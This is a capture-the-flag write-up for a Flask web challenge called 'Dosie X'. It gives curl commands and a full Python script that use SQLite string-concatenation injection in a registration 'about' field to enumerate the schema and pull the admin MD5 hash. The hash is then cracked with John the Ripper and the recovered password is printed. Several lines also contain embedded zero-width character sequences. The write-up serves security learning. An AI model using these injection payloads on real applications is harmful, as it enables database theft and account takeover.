← Back to Writeups
HTBN/AWeb

Dosie X (Dossier X)

XESXOR8/23/20264 min read
#web#htb#n/a

Dosie X (Dossier X)

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-19 | Status: Solved Techniques: database_enumeration, md5_cracking, sql_injection

Summary

Task: Exploit a Flask web application with user registration to retrieve admin credentials. Solution: Inject SQL via the unvalidated "about" field during registration using SQLite string concatenation, enumerate the database schema, extract the admin MD5 password hash, crack it with John the Ripper, and log in as admin.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260119_hackerlab_dosie_x
  • Tags: sqlite, SQLi, authentication_bypass, md5, hash_cracking
  • Indicators: Flask/Werkzeug, user input reflected in response, registration form, about field
  • Source: 20260119_hackerlab_dosie_x.md

Foothold

Vulnerability / Misconfiguration

  1. Database_enumeration
  2. Md5_cracking
  3. Sql_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • database_enumeration
  • md5_cracking
  • sql_injection
  • Tags: sqlite, SQLi, authentication_bypass, md5, hash_cracking

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Dosie zhdyot svoego detektiva..." (The dossier awaits its detective...)

Target: http://62.173.140.174:16068

Analysis

Flask web application (Werkzeug/3.1.3 Python/3.9.18) with user registration and authentication system.

Discovered endpoints:

  • /login - User login form
  • /register - User registration form (username, password, about)
  • /about - User profile page (displays "about" field)
  • /logout - Logout functionality

Vulnerability: SQL Injection in the "about" field during user registration. The value is directly concatenated into SQL query without proper sanitization. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Confirm SQL Injection

Register a user with SQLi test payload in the "about" field:

# Test for SQLi
curl -X POST http://62.173.140.174:16068/register \
  -d "username=test1&password=test1&about=' OR '1'='1"
# Result: about field shows "1" - SQLi confirmed!

# Get SQLite version
curl -X POST http://62.173.140.174:16068/register \
  -d "username=test2&password=test2&about=' || sqlite_version() || '"
# Result: 3.40.1 - SQLite database confirmed

Step 2: Database Enumeration

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Get table names
curl -X POST http://62.173.140.174:16068/register \
  -d "username=test3&password=test3&about=' || (SELECT group_concat(name) FROM sqlite_master WHERE type='table') || '"
# Result: users

# Get table schema
curl -X POST http://62.173.140.174:16068/register \
  -d "username=test4&password=test4&about=' || (SELECT group_concat(sql) FROM sqlite_master WHERE type='table' AND name='users') || '"
# Result: CREATE TABLE users (username TEXT PRIMARY KEY, password TEXT, about TEXT)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Extract Admin Credentials

# Get admin password hash
curl -X POST http://62.173.140.174:16068/register \
  -d "username=test5&password=test5&about=' || (SELECT password FROM users WHERE username='admin') || '"
# Result: 11ec9b3bbea014cc59be4574284de206

Step 4: Crack MD5 Hash

# Save hash to file
echo "11ec9b3bbea014cc59be4574284de206" > hash.txt

# Crack with John the Ripper
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Result: surside13

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Login as Admin

Login with credentials admin:surside13 to retrieve the flag.

Exploit Script

#!/usr/bin/env python3
"""
Dosie X - HackerLab CTF
SQL Injection exploit for Flask registration form
"""

import requests
import hashlib
import re

TARGET = "http://62.173.140.174:16068"

def register_with_sqli(payload: str, username: str = None) -> str:
    """Register user with SQLi payload in 'about' field and return result."""
    if not username:
        username = f"sqli_{hashlib.md5(payload.encode()).hexdigest()[:8]}"
    
    data = {
        "username": username,
        "password": "password123",
        "about": payload
    }
    
    session = requests.Session()
    session.post(f"{TARGET}/register", data=data)
    session.post(f"{TARGET}/login", data={"username": username, "password": "password123"})
    
    resp = session.get(f"{TARGET}/about")
    # Extract about field value from response
    match = re.search(r'About:\s*(.+?)(?:<|$)', resp.text)
    return match.group(1).strip() if match else resp.text
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def main():
    # Step 1: Confirm SQLi
    print("[*] Testing SQL Injection...")
    result = register_with_sqli("' OR '1'='1")
    print(f"    SQLi test: {result}")
    
    # Step 2: Get SQLite version
    version = register_with_sqli("' || sqlite_version() || '")
    print(f"    SQLite version: {version}")
    
    # Step 3: Enumerate tables
    tables = register_with_sqli("' || (SELECT group_concat(name) FROM sqlite_master WHERE type='table') || '")
    print(f"    Tables: {tables}")
    
    # Step 4: Get table schema
    schema = register_with_sqli("' || (SELECT sql FROM sqlite_master WHERE type='table' AND name='users') || '")
    print(f"    Schema: {schema}")
    
    # Step 5: Extract admin password
    admin_hash = register_with_sqli("' || (SELECT password FROM users WHERE username='admin') || '")
    print(f"[+] Admin password hash: {admin_hash}")
    
    # Step 6: Login as admin (after cracking hash externally)
    print("\n[*] Crack the hash with: john --format=raw-md5 --wordlist=rockyou.txt hash.txt")
    print("[*] Then login with admin:<cracked_password>")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    main()

Lessons Learned

  1. Always test all input fields - The "about" field was vulnerable, not username/password
  2. SQLite enumeration - Use sqlite_master table to enumerate schema
  3. String concatenation SQLi - Use ' || (SELECT ...) || ' pattern for SQLite
  4. Weak password storage - MD5 without salt is easily crackable with wordlists

References

  • SQLite SQL Injection Cheat Sheet
  • John the Ripper ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR